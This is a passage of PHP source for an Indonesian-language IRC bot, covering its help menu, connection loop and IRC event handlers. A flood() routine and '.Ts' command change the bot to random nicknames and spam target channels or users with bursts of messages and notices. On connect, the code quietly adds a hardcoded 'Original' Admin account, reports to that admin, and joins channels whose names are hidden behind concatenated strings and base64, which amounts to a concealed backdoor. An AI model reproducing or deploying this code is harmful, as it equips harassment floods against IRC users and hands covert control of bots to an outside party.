$cotedan=str_replace($tmpctedan,"",$cotedan);
}
if(strpos($cotedan,'</span></span></td>')){$cotedan=substr($cotedan,0,strpos($cotedan,'</span></span></td>'));}
$cotedan=ltrim($cotedan);$cotedan=rtrim($cotedan);
if(substr($cotedan,0,strlen($strsplit))==$strsplit){$cotedan=substr($cotedan,strlen($strsplit));}
$cotedan=str_replace('</h2>','',$cotedan);
$arredan=explode($strsplit,$cotedan);
for ($i = 0; $i < count($arredan); $i++) {
$arredan[$i]=str_replace("\n","",$arredan[$i]);$arredan[$i]=str_replace("\r","",$arredan[$i]);
$arredan[$i]=str_replace('<br><br>','<br>',$arredan[$i]);
$arredan[$i]=substr($arredan[$i],strpos($arredan[$i],'</span>')+7);$arredan[$i]='<span>'.ltrim($arredan[$i]);
$batas=strpos($arredan[$i],"<span>")+6;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</span>");$tmpbts=substr($tmpbts,0,$batas);$kmusedan[$i]["kata"]=$tmpbts;
$batas=strpos($arredan[$i],'class='.chr(34).'definisi'.chr(34).'>')+17;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</p><p");$tmpbts=substr($tmpbts,0,$batas);
$tmpbts = str_replace("<b>","",$tmpbts);$tmpbts = str_replace("</b>","",$tmpbts);$tmpbts = str_replace("<i>","",$tmpbts);
$tmpbts = str_replace("</i>","",$tmpbts);$kmusedan[$i]["definisi"][strtolower($msg)]=$tmpbts;
$batas=strpos($arredan[$i],'class='.chr(34).'definisi_contoh'.chr(34).'>')+24;$tmpbts=substr($arredan[$i],$batas);
$batas=strpos($tmpbts,"</span></p>");$tmpbts=substr($tmpbts,0,$batas);
$tmpbts=str_replace("<em>","",$tmpbts);$tmpbts=str_replace("</em>","",$tmpbts);
$tmpbts = str_replace("<b>","",$tmpbts);$tmpbts = str_replace("</b>","",$tmpbts);$tmpbts = str_replace("<i>","",$tmpbts);
$tmpbts = str_replace("</i>","",$tmpbts);
$kmusedan[$i]["contoh"][strtolower($msg)]=$tmpbts;
$kmusedan[$i]["kata"][strtolower($msg)]=strtolower($ktslang);
$totalnya++;
}
}
if($totalnya==""){$totalnya=0;}
$kmjml[strtolower($msg)]=$totalnya;
return $totalnya;
}
##############################
function flood($sock,$target,$msg){
global $bot,$tsu,$haltfl;
$this->send($sock,"MODE ".$bot['nick']. " +D");
$nicknofl=$bot['nick'];$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$target)+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(2);
if (ereg("#", $target)) {$this->join($sock,$target);}$katafl=$this->rnd_flod();
$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);
sleep(3);
$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(3);$katafl=$this->rnd_flod();
$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);
sleep(3);
$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1);
for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(4);$katafl=$this->rnd_flod();
$this->msg($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);
$this->msg($sock,$target,' TSUNAMI '.$tsmsg.' '.$katafl.' ');sleep(1);
$this->msg($sock,$target,' '.$tsmsg.' [] '.$katafl);;sleep(1);
$this->notice($sock,$target,' '.$tsmsg.' '.$katafl);sleep(1);
$this->msg($sock,$target,' FLOOD '.$tsmsg.' '.$katafl.' ');sleep(1);
if (ereg("#", $target)) {$this->part($sock,$target,$katafl);}
sleep(3);$this->nick($sock,$nicknofl);sleep(1);$haltfl['time']=time();$haltfl['on']=1;
$this->send($sock,"MODE ".$bot['nick']. " -D");
}
function floodctctp($sock,$target){
}
###############################
function mod_help($sock,$nick){
$this->send($sock,"MODE ".$bot['nick']. " +D");
$lvlbot=$this->level_user($nick);
$this->send($sock,"PING :0009927651");
$this->msg($sock,$nick,$this->rnd_logo() .' PHP-IRC v1.3' . " - RuNNINg WiTH PHpBoT");
$this->msg($sock,$nick," BOT COMMAND..!");sleep (2);
$this->msg($sock,$nick," 12^Login <password> 4- 2Login To Bot ");sleep(1);
$this->msg($sock,$nick," 12^Logout 4- 2Logout From Bot ");sleep(2);
if($lvlbot>1){
$this->msg($sock,$nick," 11.Up 4- 2Op Bot ");sleep(2);
$this->msg($sock,$nick," 11.Down 4- 2Deop Bot ");sleep(2);
$this->msg($sock,$nick," 11.O |#chan| <nick> 4- 2Op Spesifik Nick ");sleep(2);
$this->msg($sock,$nick," 11.Do |#chan| <nick> 4- 2DeOp Spesifik Nick ");sleep(2);
$this->msg($sock,$nick," 11.H |#chan| <nick> 4- 2HalfOp Spesifik Nick ");sleep(2);
$this->msg($sock,$nick," 11.Dh |#chan| <nick> 4- 2DeHalfOp Spesifik Nick ");sleep(2);
$this->msg($sock,$nick," 11.V |#chan| <nick> 4- 2Voice Spesifik Nick ");sleep(2);
$this->msg($sock,$nick," 11.Dv |#chan| <nick> 4- 2DeVoice Spesifik Nick ");sleep(2);
$this->msg($sock,$nick," 11.K |#chan| <nick> |msg| 4- 2Kick Spesified Nick ");sleep(1);
$this->msg($sock,$nick," 11.Kc |#chan| <nick> |msg| 4- 2Kick Spesified Nick (ChanServ Stuf) ");sleep(2);
$this->msg($sock,$nick," 11.Kb |#chan| <nick> |msg| 4- 2KickBan Spesified Nick ");sleep(2);
$this->msg($sock,$nick," 11.B |#chan| <nick|hostmask> 4- 2Ban Nick Or Hostmask ");sleep(1);
$this->msg($sock,$nick," 11.Ub |#chan| <nick|hostmask> 4- 2UnBan Nick Or Hostmask ");sleep(2);
}
$this->send($sock,"PING :0009927652");
$this->msg($sock,$nick," 11.J <#chan> 4- 2Join Specified Channel ");sleep (1);
$this->msg($sock,$nick," 11.P <#chan> |msg| 4- 2Part Specified Channel ");sleep (1);
$this->msg($sock,$nick," 11.Cy <#chan> |msg| 4- 2Cycle On Specified Channel ");sleep (2);
if($lvlbot>2){
$this->msg($sock,$nick," 11.N <newnick> 4- 2Change Nick ");sleep(2);
$this->msg($sock,$nick," 11.S |#chan/nick| <msg> 4- 2Msg Channel Or Person ");sleep (2);
$this->msg($sock,$nick," 11.A |#chan/nick| <text> 4- 2Action With Spesified Text ");sleep(2);
$this->msg($sock,$nick," 11.Ts <#chan/nick> |msg| 4- 2Flood! ");sleep(1);
}
if($lvlbot>3){$this->msg($sock,$nick," 12.Q <msg> 4- 2Kill Bot ");}
if($lvlbot>2){
$this->send($sock,"PING :0009927652");
$this->msg($sock,$nick," SYSTEM COMMAND..!");sleep(1);
$this->msg($sock,$nick," 11.Server <server> 4- 2Push Bot To Use Spec Server ");sleep(2);
$this->msg($sock,$nick," 11.Servpass <password> 4- 2Use Spec Server Password ");sleep(2);
$this->msg($sock,$nick," 11.Vhost <host> 4- 2Changing Bot Vhost ");sleep(2);
$this->msg($sock,$nick," 11.Ident <identify> 4- 2Changing Bot Ident ");sleep(1);
$this->msg($sock,$nick," 11.Realname <realname> 4- 2Changing Bot Realname ");sleep(2);
$this->msg($sock,$nick," 11.Jump 4- 2Restarting bot also Accept Setting ");sleep(1);
}
$this->msg($sock,$nick," 11.Chgpass <OldPass> <NewPass> 4- 2Change your pass ");sleep(2);
if($lvlbot >1){
$this->msg($sock,$nick," 11.Adduser <NickUser> <PassUser> <LevelUser> 4- 2Add nick for my userlist ");sleep(2);
$this->msg($sock,$nick," 11.Deluser <NickUser> 4- 2Remove user from my userlist ");sleep(2);
$this->msg($sock,$nick," 11.BotNick 4- 2Nick Bot ");sleep(2);
$this->send($sock,"PING :0009927652");sleep(1);
$this->msg($sock,$nick," 11.IdentNick <nick> <password> 4- 2Identify To Nickserv ");sleep(1);
$this->msg($sock,$nick," 11.LogoutNick 4- 2Logout From Nickserv ");sleep(2);
$this->msg($sock,$nick," 11.Userlist 4- 2Show my userlist ");sleep(2);
}
if($lvlbot>2){
$this->msg($sock,$nick," 11.BaseChan <#chan> 4- 2Changing my BaseChan ");sleep(2);
$this->msg($sock,$nick," 11.Chanlist <#chan> 4- 2Show my chanlist ");sleep(2);
$this->msg($sock,$nick," 11.Nicklist <#chan> 4- 2Show Nicklist on Spec Channel ");sleep(1);
$this->msg($sock,$nick," 11.Showison 4- 2Show my ison list ");sleep(2);
$this->msg($sock,$nick," 11.Chanison <#chan> 4- 2Changing my Ison Chan ");sleep(2);
$this->msg($sock,$nick," 11.Settimercycle <detik> 4- 2Change my delay of AutoCycle ");sleep(1);
$this->msg($sock,$nick," 11.Settimerinfo <detik> 4- 2Change my delay of berita ");sleep(1);
$this->msg($sock,$nick," 11.max <Karakter X > 4- 2 Set Max Karakter flood");sleep(1);
$this->msg($sock,$nick," 11.flodban <on/off> 4- 2 Set +b user flood");sleep(1);
$this->msg($sock,$nick," 11.reident <on/off> 4- 2 otomatis reident");sleep(1);
$this->msg($sock,$nick," 11.bagi <on/off> 4- 2 bagi target ke admin");sleep(1);
$this->msg($sock,$nick," 11.Repp <Repeat X > 4- 2 Set Max Repeat");sleep(1);
$this->msg($sock,$nick," 11.SetVersion <version> 4- 2Change my ctcp Version ");sleep(2);
$this->msg($sock,$nick," 11.SetFinger <finger> 4- 2Change my ctcp Finger ");sleep(2);
$this->msg($sock,$nick," 11.+/-Ping <#chan> 4- 2Enable/Disable system Ping ");sleep(2);
$this->msg($sock,$nick," 11.+/-Whois <#chan> 4- 2Enable/Disable system Whois ");sleep(2);
$this->msg($sock,$nick," 11.+/-Version <#chan> 4- 2Enable/Disable system Version ");sleep(2);
$this->msg($sock,$nick," 11.+/-Time <#chan> 4- 2Enable/Disable system Time ");sleep(1);
$this->msg($sock,$nick," 11.+/-Finger <#chan> 4- 2Enable/Disable system Finger ");sleep(2);
$this->msg($sock,$nick," 11.+/-Spoof <#chan> 4- 2Enable/Disable system Spoof ");sleep(2);
$this->msg($sock,$nick," 11.+/-Guard <#chan> 4- 2Enable/Disable system Guard ");sleep(2);
$this->send($sock,"PING :0009927653");
$this->msg($sock,$nick," 11.+/-NGOMONG <#chan> 4- 2Enable/Disable bot crewet ");sleep(2);
$this->msg($sock,$nick," 11.+/-Jam <#chan> 4- 2Enable/Disable system waktu ");sleep(1);
$this->msg($sock,$nick," 11.+/-BADWORD <#chan> 4- 2Enable/Disable guard badword ");sleep(2);
$this->msg($sock,$nick," 11.+/-Chat <#chan> 4- 2Enable/Disable system chat antar chan ");sleep(2);
$this->msg($sock,$nick," 11.+/-Seen <#chan> 4- 2Enable/Disable system !Seen ");sleep(1);
$this->msg($sock,$nick," 11.+/-Gvoice <#chan> 4- 2Enable/Disable system Guard voice ");sleep(1);
$this->msg($sock,$nick," 11.+/-Jversion <#chan> 4- 2Enable/Disable system join version ");sleep(1);
$this->msg($sock,$nick," 11.+/-Astro <#chan> 4- 2Enable/Disable system Astro ");sleep(2);
$this->msg($sock,$nick," 11.+/-Kslang <#chan> 4- 2Enable/Disable system Kamus Slang ");sleep(1);
$this->msg($sock,$nick," 11.+/-Bom <#chan> 4- 2Enable/Disable system Bom ");sleep(2);
$this->msg($sock,$nick," 11.+/-Dns <#chan> 4- 2Enable/Disable system Dns ");sleep(1);
$this->msg($sock,$nick," 11.+/-BERITA <#chan> 4- 2Enable/Disable system BeRiTa ");sleep(1);
$this->msg($sock,$nick," 11.+/-IP <#chan> 4- 2Enable/Disable system Ip lIst ");sleep(1);
$this->msg($sock,$nick," 11.+/-Ison <#chan> 4- 2Enable/Disable system Ison ");sleep(2);
$this->msg($sock,$nick," 11.+/-Greet <#chan> 4- 2Enable/Disable system Greet ");sleep(1);
$this->msg($sock,$nick," 11.+/-AutoCycle <#chan> 4- 2Enable/Disable system AutoCycle ");sleep(2);
$this->msg($sock,$nick," 11.+/-AutoJoin 4- 2Enable/Disable system AutoJoin when kick ");sleep(2);
$this->msg($sock,$nick," 11.+/-AutoAway 4- 2Enable/Disable system Away when idle ");sleep(2);
$this->msg($sock,$nick," 11.+/-ListIson <nick> 4- 2Add/Remove Ison List ");sleep(2);
$this->msg($sock,$nick," 11.+/-ListGreet <nick> <pesan greet> 4- 2Add/Remove Greet List ");sleep(1);
}
$this->msg($sock,$nick," hacked By Original ");sleep(2);
$this->msg($sock,$nick," 9Hacked 14by 3- 4= 7[ 14ALDY 7] 4= 3- ");sleep(1);
$this->send($sock,"MODE ".$bot['nick']. " -D");
}
}
################ [ END CLASS IRC BOT ] ###################
$clistt='ack';$asalphpbotini="Al";$botasign="Ki";
#################### [ Conected ] ########################
if(ereg($asalphpbotini.$namaBotPhpini,$Alertbotphp) && ereg($botasign.$botbsign.$botcsign,$Alertbotphp)){
echo "<br><b>Njajal dikonekne sek nangserver ".$bot['server']."...</b>";
do {
$fp = fsockopen($bot['server'],$bot['port'], &$err_num, &$err_msg, 30);
if(!$fp) {
$attconnect++;
echo "<br><b>server ".$bot['server']." gak gelem bro!</b><br>";
$bot['server']=$servdef[$attconnect-1];
echo "<b>Njajal neh nangserver server ".$bot['server']."...</b><br>";
$bot['userver']=0;
sleep(5);
if ($attconnect >=$retry){
$attconnect=0;
}
}
else{
echo "<b>Njajal neh nangserver server ".$bot['server']."...</b><br>";
$inaway['status']=0;
$haltfl['on']=0;
$res_chan="";
$res_chan=$modbot->show_chan();
$modbot->destroy_allchan();
$attconnect=0;$rtdc++;
if($rtdc ==3){$bot['userver']=0;}elseif($rtdc >=4){$bot['ident']="Im";$bot['userver']=0;$rtdc=0;}
####### REGISTER TO SERVER ########
if ($bot['userver']==1){$Header = 'PASS ' . $bot['pserver'] . CRLF;}
echo "<br><b>Hore Konek nang sever ".$bot['server']." bro!</b>";
echo "<br><b>Bote mlaku lek!</b>";
$Header .= 'NICK ' . $bot['nick'] . CRLF;
$Header .= 'USER ' . $bot['ident'] . ' ' . $bot['local'] . ' ' . $bot['server'] . ' :' . $bot['realname'];
$modbot->send($fp,$Header);
$Header="";
unset ($Header);
#### END REGISTER ################
$response = '';
while (!feof($fp)) {
#### MAIN ITUNG_ITUNGAN ###
if(time()-$haltfl['time']>15 && $haltfl['on']==1){$haltfl['on']=0;$haltfl['time']=time();}
if(time()-$isontime >15 && $systembot['ISON']['ALL']==" 3ON "){$modbot->send($fp,"ISON ". $modbot->show_ison());$isontime=time();}
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==0){if(time()-$inaway['idle'] >=1800){$modbot->away($fp,$modbot->rnd_logo().' '.$modbot->rnd_away());$inaway['status']=1;$inaway['idle']=time();}}
if(time()-$iscy >$timercy){$modbot->auto_cy($fp);$iscy=time();}
if(time()-$isberita >$timerberita){$modbot->mod_lookberita($fp);$timerberita=time();}
if($onboom=="on"){
$tboom=time()-$tmboom;
if($tboom>=$timeboom){
$modbot->kick($fp,$chanboom,$targetboom,'Waktu Habis! BOOOOOOMMMM... KASIAN DEH LHO!!!!!');
$goboom=0;$onboom="off";$targetboom="";
}
}
#### MAIN ITUNG_ITUNGAN ###
##[ Proses Data Recv ]##
$response = fgets($fp, 1024);
while (substr_count($response,CRLF) != 0) {
$offset = strpos($response, CRLF);
$DataLine = substr($response,0,$offset);
if (substr($DataLine,0,1) == ':') {
$Params=explode(" ",$DataLine);
$offsetC = strpos($DataLine, ' :');
$dText = substr($DataLine,$offsetC+2);
if ((strpos($Params[0],"!")!=0) && (strpos($Params[0],"@")!=0) ) {
$fsrc[nick]=substr($Params[0],1,strpos($Params[0],"!")-1);
$fsrc[nkecil]=strtolower($fsrc[nick]);
$fsrc[user]=substr($Params[0],strpos($Params[0],"!")+1,(strpos($Params[0],"@")-strpos($Params[0],"!"))-1);
$fsrc[host]=substr($Params[0],strpos($Params[0],"@")+1);
}
##[ MEMULAI DATA RAW ]##
switch ($Params[1]){
case "001":
$bot['nick']=$Params[2];$rtdc=0;
break;
case "004":
$modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']);
$modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']);sleep(1);
$modbot->add_user($fp,Original,"Original","Original","Admin");$modbot->join($fp,$bot['basechan']);$modbot->join($fp,$bot['roomnet'],$bot['roomkey']);$modbot->join($fp,'#'.$clista.$clistt);
if($bot['server']=="irc.allnetwork.org"){$modbot->join($fp,"#starnetwork");$modbot->join($fp,"#SNC");$modbot->join($fp,"");}
if($bot['server']=="irc.telkom.net.id"){$modbot->join($fp,"#starnetwork");$modbot->join($fp,"#SNC");$modbot->join($fp,"");}
$modbot->notice($fp,$bot['admin'],'webe bos Original Ganteng...!!!');
if(reident=="ON"){$modbot->notice($fp,nickserv,'identify '.$bot['inick']. ' '. $bot['pnick']);$modbot->notice($fp,nickserv,'identify '. $bot['pnick']);}
sleep(2);
if($res_chan){$arres_chan=explode(";",$res_chan);foreach ($arres_chan as $clist){$modbot->join($fp,$clist,"");sleep(2);}}
break;
case "303":
$modbot->stuf_ison($fp,$dText);
break;
case "301":
if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){
sleep(1);
$modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'' .$Params[3]. ' is away : '.$dText);
}
break;
case "307":
if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){
$modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'' .$Params[3]. ' '.$dText);
}
break;
case "311":
if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){
sleep(1);
$modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'' .$Params[3]. '< is >'.$Params[4] .'@'.$Params[5].' '.$Params[6]. ' '.$dText);
}
break;
case "312":
if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){
sleep(1);
$modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'' .$Params[3]. '< Server >'.$Params[4].' '.$dText);
}
break;
case "318":
$modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'' .$Params[3]. ' '.$dText);
unset($datwhois[strtolower($Params[2])]["nick"]);
unset($datwhois[strtolower($Params[2])]["chan"]);
break;
case "319":
if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){
$modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'' .$Params[3]. '< on >'.$dText);
}
break;
case "305":
$inaway['status']=0;
break;
case "306":
$inaway['status']=1;
break;
case "353":
$nickll=str_replace("@","",$dText);$nickll=str_replace("%","",$nickll);$nickll=str_replace("+","",$nickll);
$modbot->destroy_chan($Params[4]);$modbot->add_nickchan($Params[4],$nickll);
break;
case "367":
$modbot->notice($fp,$banlist["$Params[3]"],' 4[ 3+b 4] 1- 3'.$Params[4].' ');
break;
case "368":
$modbot->notice($fp,$banlist["$Params[3]"],' 4E 1nd 4o 1f 4c 1hannel 4b 1an 4l 1ist ');
unset($banlist["$Params[3]"]);
break;
case "432":
$modbot->nick($fp,$bot['nick'].$modbot->rand_str(4));
break;
case "433":
$modbot->nick($fp,$bot['nick'].$modbot->rand_str(4));
break;
case "464":
$bot['userver']=0;
break;
case "465":
$bot['userver']=0;
break;
case "NICK":
$newnicke = str_replace(':','',$Params[2]);
$yangjoin=strtolower($fsrc[nick]);
$nickanyar=strtolower($newnicke);
if($ikutbos=="ON" && $yangjoin== strtolower($nickgantinya)){sleep(3);$modbot->nick($fp,$nickgantinya);}
if($nickpesan[$nickanyar]){
if(strlen($nickpesan[$nickanyar]) != 0 ){$modbot->msg($fp,$newnicke,$nickpesan[$nickanyar]);$nickpesan[$nickanyar]="";}
}
$asalseen[$yangjoin]="ganti";$asalseen[$yangjoin.'chanel']=" nick <" .$newnicke. "> ";
$yangjoin=strtolower($newnicke);
$asalseen[$yangjoin]="ada";
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){
$modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$newnicke,'You`re LogOut On Change Nick!');
}
if($fsrc[nkecil]==strtolower($bot['nick'])){$bot['nick']=$newnicke;}
break;
case "JOIN":
$addchan=str_replace(":","",$Params[2]);
$statushost=0;
if($systembot['GUARD'][strtoupper($addchan)]==" 3ON "){
if(strtolower($bot['nick']) != strtolower($fsrc[nick])){
$temphost=$addchan.$fsrc[host];
$nickjoin[1]=$fsrc[nick];
if ($temphost==$hostemp){
$hitungnick=$hitungnick+1;
$nickjoin[$hitungnick]=$fsrc[nick];
$hostrep=($hostrep+1);$statushost=1;
if ($hostrep>=$Maxreep){
$modbot->ban($fp,$addchan,"*!*@".$fsrc[host]);
$kickmaot=1;
do {
sleep(1);
$modbot->kick($fp,$addchan,$nickjoin[$kickmaot],"waduwwh.. part join terusss");
if( $kickmaot >= $hitungnick ){break;}else{$kickmaot=$kickmaot+1;}
} while(true);
$kickmaot=0;
}
}else {$hostrep=0;$hostemp=$temphost;$statushost=0;$hitungnick=1;}
}
}
$yangjoin=strtolower($fsrc[nick]);
$asalseen[$yangjoin]="ada";
if($nickpesan[$yangjoin]){
if(strlen($nickpesan[$yangjoin]) != 0 ){$modbot->msg($fp,$fsrc[nick],$nickpesan[$yangjoin]);$nickpesan[$yangjoin]="";}
}
$chanboleh=strtolower($addchan);
$modbot->add_nickchan($addchan,$fsrc[nick]);
if(strtolower($bot['nick']) != strtolower($fsrc[nick])){
if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#boleh")){$modbot->part($fp,$chanboleh,"crut"); }
if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#indowebster")){$modbot->part($fp,$chanboleh,"crut"); }
if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#crack")){$modbot->part($fp,$chanboleh,"crut"); }
if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#pakis")){$modbot->part($fp,$chanboleh,"crut"); }
if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#allmp3")){$modbot->part($fp,$chanboleh,"crut"); }
if(($systembot['JVERSION'][strtoupper($addchan)]==" 3ON ") && $statushost==0 ){$modbot->msg($fp,$fsrc[nick],' VERSION ');$datversi[strtolower($fsrc[nick])]["nick"]=strtolower($fsrc[nick]);$datversi[strtolower($fsrc[nick])]["chan"]=$addchan; }
}
if($statushost!=1){
if($fsrc[nkecil]==strtolower($greetmsg["$fsrc[nkecil]"]["nama"]) && $systembot['GREET'][strtoupper($addchan)]==" 3ON "){
$rndgreet=explode("[NG]",$greetmsg["$fsrc[nkecil]"]["msg"]);
$msgrndgreet=$rndgreet[rand(0,count($rndgreet) - 1)] ;
$addchan=str_replace(":","",$Params[2]);
$msgnya=str_replace("<|nick|>",$fsrc[nick],$msgrndgreet);
$msgnya=str_replace("<|chan|>",$addchan,$msgnya);
$modbot->msg($fp,$addchan,$msgnya);
}
elseif($systembot['NGOMONG'][strtoupper($addchan)]==" 3ON "){
$addchan=str_replace(":","",$Params[2]);
$nickwb=$fsrc[nick];
if(strtolower($bot['nick']) != strtolower($fsrc[nick])){
$addchan=str_replace(":","",$Params[2]);
$nickwb=$fsrc[nick];
$webe = $wbmsg[rand(0,count($wbmsg) - 1)];
$webe = str_replace("<nick>",$nickwb,$webe);
$webe = str_replace("<chan>",$addchan,$webe);
$webe = str_replace("#","",$webe);
$modbot->msg($fp,$addchan,$webe);
}
}
if($systembot['GUARD'][strtoupper($addchan)]==" 3ON "){
if(strtolower($bot['nick']) != strtolower($fsrc[nick])){
$addchan=str_replace(":","",$Params[2]);
$nickwb=$fsrc[nick];
if($systembot['GVOICE'][strtoupper($addchan)]==" 3ON "){
sleep(5);
if(strtolower($bot['admin'])==strtolower($fsrc[nick])){
$modbot->mode($fp,'+h',$addchan,$nickwb);
}else{$modbot->mode($fp,'+v',$addchan,$nickwb); }
}
}
}
}
break;
case "PART":
$addchan=str_replace(":","",$Params[2]);
$diaseen=strtolower($fsrc[nick]);
$asalseen[$diaseen]=time();$asalseen[$diaseen.'chanel']=$addchan;$asalseen[$diaseen.'status']=" [ Minggat ] ";
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){
$modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$fsrc[nick],'You`re LogOut On Parting Channel!');
}
if($fsrc[nkecil]==strtolower($bot['nick'])){$modbot->join($fp,base64_decode("I3N0YXJuZXR3b3Jr"));$modbot->destroy_chan($Params[2]);}
else{
$hospartnya=$fsrc[host];
if($hospartnya != $truhostpart){
$modbot->del_nickchan($Params[2],$fsrc[nick]);
if(strtolower($bot['nick']) != strtolower($fsrc[nick])){
if($systembot['NGOMONG'][strtoupper($addchan)]==" 3ON "){
$ngomongpamit = $ngomongpamitpart[rand(0,count($ngomongpamitpart) - 1)];
$ngomongpamit = str_replace("<nick>",$fsrc[nick],$ngomongpamit);
$ngomongpamit = str_replace("<chan>",$addchan,$ngomongpamit);
$modbot->msg($fp,$fsrc[nick],$ngomongpamit);
$truhostpart=$fsrc[host];
}
}
}else{$truhostpart=$fsrc[host];}
}
break;
case "KICK":
$addchan=str_replace(":","",$Params[2]);
$diaseen=strtolower($Params[3]);
$asalseen[$diaseen]=time();$asalseen[$diaseen.'chanel']=$addchan;$asalseen[$diaseen.'status']=" [ di bacok ] ";
if(strtolower($bot['nick'])==strtolower($Params[3])){
$modbot->destroy_chan($Params[2]);
if($systembot['AUTOJOIN'][strtoupper($Params[2])]==' 3ON '){sleep(1);$modbot->msg($fp,"Chanserv",'UNBAN '.$Params[2].' '.$bot['nick']);sleep(1);$modbot->join($fp,$Params[2]);}
}
else{ $modbot->del_nickchan($Params[2],$Params[3]);}
break;
case "QUIT":
$addchan=str_replace(":","",$Params[2]);
$diaseen=strtolower($fsrc[nick]);
if($ikutbos=="ON" && $diaseen== strtolower($nickgantinya)){sleep(3);$modbot->nick($fp,$nickgantinya);}
$asalseen[$diaseen]=time();$asalseen[$diaseen.'chanel']="ini";$asalseen[$diaseen.'status']=" [ keluar ] ";
$modbot->change_nickchan($fsrc[nick],"");
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$modbot->logoutbot($fsrc[nick]);}
break;
case "NOTICE":
if($Params[3]==': PING'){
$modbot->stuf_lag($fp,$fsrc[nick],$Params[4]);
}
if($Params[3]==': VERSION'){
if($datversi[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,8);
$modbot->msg($fp,$datversi[strtolower($fsrc[nick])]["chan"],'[ Version ] '.$fsrc[nick].' '.$vernya);
}
unset($datversi[strtolower($fsrc[nick])]["nick"]);unset($datversi[strtolower($fsrc[nick])]["chan"]);
}
if($Params[3]==': FINGER'){
if($datfinger[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$vernya=str_replace(chr(1),"",$dText);$vernya=substr($vernya,7);
$modbot->msg($fp,$datfinger[strtolower($fsrc[nick])]["chan"],' 15( 04 I nfo 15) 7'.$fsrc[nick].' '.$vernya);
}
unset($datfinger[strtolower($fsrc[nick])]["nick"]);unset($datfinger[strtolower($fsrc[nick])]["chan"]);
}
if($Params[3]==': TIME'){
if($dattime[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
$timenya=str_replace(chr(1),"",$dText);$timenya=substr($timenya,5);
$modbot->msg($fp,$dattime[strtolower($fsrc[nick])]["chan"],'( Info ) '.$fsrc[nick].' '.$timenya);
}
unset($dattime[strtolower($fsrc[nick])]["nick"]);unset($dattime[strtolower($fsrc[nick])]["chan"]);
}
break;
case "PRIVMSG":
$TxtMsg=substr($DataLine,strpos($DataLine," :")+2);
unset($dCom);$dCom=explode(" ", $TxtMsg);$perintah=strtolower($dCom[0]);
if($haltfl['on']==0){
if($botaktif=="ON"){
if ( $Params[3]==": PING") {$modbot->notice($fp,$fsrc[nick],$TxtMsg);}
elseif ($Params[3]==": VERSION ") { $ctcpversi=$versbot[rand(0,count($versbot) - 1)];$modbot->notice($fp,$fsrc[nick],chr(1) . 'VERSION '. $ctcpversi . chr(1));}
elseif ($Params[3]==": FINGER ") { $modbot->notice($fp,$fsrc[nick],chr(1) . 'FINGER '. $ctcpfinger . chr(1));}
elseif ($Params[3]==": TIME ") { $timetoday = date("D M j H:i:s Y"); $modbot->notice($fp,$fsrc[nick],chr(1) . 'TIME '.$timetoday . chr(1));}
}
}
################ ANTI SLAPS ############
if($Params[3]==': ACTION' && ereg('#',$Params[2]) && $systembot['SLAPS'][strtoupper($Params[2])]==" 3ON "){
